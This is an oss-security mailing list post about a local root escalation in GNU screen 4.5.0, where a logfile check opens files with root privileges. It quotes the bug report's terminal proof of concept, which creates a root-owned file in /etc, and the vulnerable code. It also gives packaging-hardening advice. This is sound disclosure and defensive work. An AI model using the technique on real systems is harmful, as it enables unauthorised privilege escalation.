[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 25 Jan 2017 07:23:03 +0100
From: Solar Designer <solar@...nwall.com>
To: oss-security@...ts.openwall.com
Cc: abe@...ian.org
Subject: Re: CVE request: GNU screen escalation
On Tue, Jan 24, 2017 at 10:28:56PM +0100, Moritz Muehlenhoff wrote:
> please assign a CVE ID for this vulnerability in GNU screen:
> https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
Per oss-security list content guidelines:
http://oss-security.openwall.org/wiki/mailing-lists/oss-security#list-content-guidelines
"At least the most essential part of your message (e.g., vulnerability
detail and/or exploit) should be directly included in the message itself
(and in plain text), rather than only included by reference to an
external resource. Posting links to relevant external resources as well
is acceptable, but posting only links is not. Your message should remain
valuable even with all of the external resources gone."
let's be including the actual content in here, in addition to links.
The screen-devel above is:
---
From: anonymous
Subject: [screen-devel] [bug #50142] root exploit 4.5.0
Date: Tue, 24 Jan 2017 19:05:10 +0000 (UTC)
URL:
<http://savannah.gnu.org/bugs/?50142>
Summary: root exploit 4.5.0
Project: GNU Screen
Submitted by: None
Submitted on: Tue 24 Jan 2017 07:05:09 PM UTC
Category: Program Logic
Severity: 3 - Normal
Priority: 5 - Normal
Status: None
Privacy: Private
Assigned to: None
Open/Closed: Open
Discussion Lock: Any
Release: None
Fixed Release: None
Planned Release: None
Work Required: None
_______________________________________________________
Details:
Commit f86a374 ("screen.c: adding permissions check for the logfile
name",
2015-11-04)
The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several
ways.
> address@...den:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> address@...den:~$ id
> uid=125(buczek) gid=125(buczek)
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> address@...den:~$ cd /etc
> address@...den:/etc (master)$ screen -D -m -L bla.bla echo fail
> address@...den:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> address@...den:/etc (master)$ cat bla.bla
> fail
> address@...den:/etc (master)$
Donald Buczek <address@...den>
---
There are some follow-ups, notably Axel Beckert pointing out that the
issue appears to have been introduced on 2016-11-04 (not 2015-11-04):
---
> Commit f86a374 ("screen.c: adding permissions check for the logfile name",
> 2015-11-04)
There is no such commit id, neither in the master branch nor in the
screen-v4 branch.
I assume you meant one of these two commits instead:
master:
http://git.savannah.gnu.org/cgit/screen.git/commit/?id=c575c40c9bd7653470639da32e06faed0a9b2ec4
screen-v4:
http://git.savannah.gnu.org/cgit/screen.git/commit/?h=screen-v4&id=5460f5d28c01a9a58e021eb1dffef2965e629d58
The latter is the one included in Screen 4.5.0.
---
The commits add this code:
---
+ FILE *w_check;
+ if ((w_check = fopen(screenlogfile, "w")) == NULL)
+ Panic(0, "-L: logfile name access problem");
+ else
+ fclose(w_check);
---
apparently into command-line option parsing in main(), thus apparently
prior to dropping the privileges. (I didn't review this in context.)
Last but not least, I hope distros don't install screen SUID root these
days. If any distro does, this is yet another reminder to reconsider.
Some install it SGID utmp. Some take it a step further - Owl and ALT
Linux install it SGID to group screen, which only grants the ability to
invoke utempter (SGID utmp) and tcp_chkpwd (SGID shadow). Thus, it'd
take a vulnerability in those other tools to make much use of a screen
vulnerability. Here's an excerpt from ALT Linux's spec file:
%post
ln -f %_libexecdir/chkpwd/tcb_chkpwd %_libexecdir/screen/
ln -f %_libexecdir/utempter/utempter %_libexecdir/screen/
%preun
if [ $1 -eq 0 ]; then
rm -f %_libexecdir/screen/{tcb_chkpwd,utempter}
fi
%triggerin -- pam_tcb >= 0.9.7.1
ln -f %_libexecdir/chkpwd/tcb_chkpwd %_libexecdir/screen/
%triggerin -- libutempter >= 1.0.6
ln -f %_libexecdir/utempter/utempter %_libexecdir/screen/
%files
%attr(2711,root,screen) %_bindir/screen
%attr(710,root,screen) %dir %_libexecdir/screen
%attr(2711,root,shadow) %ghost %_libexecdir/screen/tcb_chkpwd
%attr(2711,root,utmp) %ghost %_libexecdir/screen/utempter
%attr(775,root,screen) %dir /var/run/screen/
Alexander
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
